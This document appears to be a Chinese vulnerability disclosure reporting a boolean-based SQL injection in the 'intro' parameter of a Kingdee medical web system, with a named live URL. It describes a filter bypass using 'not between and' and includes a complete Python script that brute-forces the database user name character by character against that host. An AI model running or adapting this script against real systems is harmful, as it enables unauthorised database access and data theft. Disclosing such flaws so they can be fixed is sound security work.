### 简要描述:
金蝶某系统注入漏洞
截至2015年11月8日,该系统已发布的移动互联网**用户超130万人,交易次数超262万次
### 详细说明:
金蝶医疗于2014年5月30日全国首创“移动互联网医院”并荣获CCTV《朝闻天下》及《新闻联播》两次专题报道,凭借最先进的产品实现方式、最安全的部署模式、最丰富的全流程优化经验、最专业的媒体宣传与运营推广、最极致的用户体验,截至2015年11月8日,已发布的移动互联网医院用户超130万人,交易次数超262万次,是移动互联网医院领航者与绝对领先者,具有不可比拟的绝对优势。
```
http://yiliao.kingdee.com/inform.php?action=add&companyname=e&intro=1&email=a@b.com&name=1&position=1&tel=1
```
参数intro存在BOOL型注入漏洞
由于过滤了> < 这里我们可以用not between and 来注入。
附验证脚本:
```
#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL,data):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, data, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
if e.code == 500:
return 'Runtime Error'
except URLError, e:
#print('[!] We failed to reach a server.')
#print('[!] Reason: ' + str(e.reason))
sys.exit(1)
return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if (right-left==1):
result += chr(right)
print 'user: ' ,result
break
payload = "1'%%2bextractvalue(1,if(ascii(mid(user(),%s,1)) not between 0 and %s,1,0x22))%%2b'" % (index, mid)
#print payload
# payload=""
html = request('http://yiliao.kingdee.com/inform.php?action=add&companyname=e&email=a@b.com&name=1&position=1&tel=1&intro='+payload,None)
#print html
verify = 'Error'
if verify not in html:
left = mid
else:
right = mid
if __name__ == '__main__':
for i in range(1,27):
binary_sqli(32, 127, i)
```
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201512/020041256dd87170cb17cffef49a21a847ee66e3.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/020041256dd87170cb17cffef49a21a847ee66e3.png)
暂无评论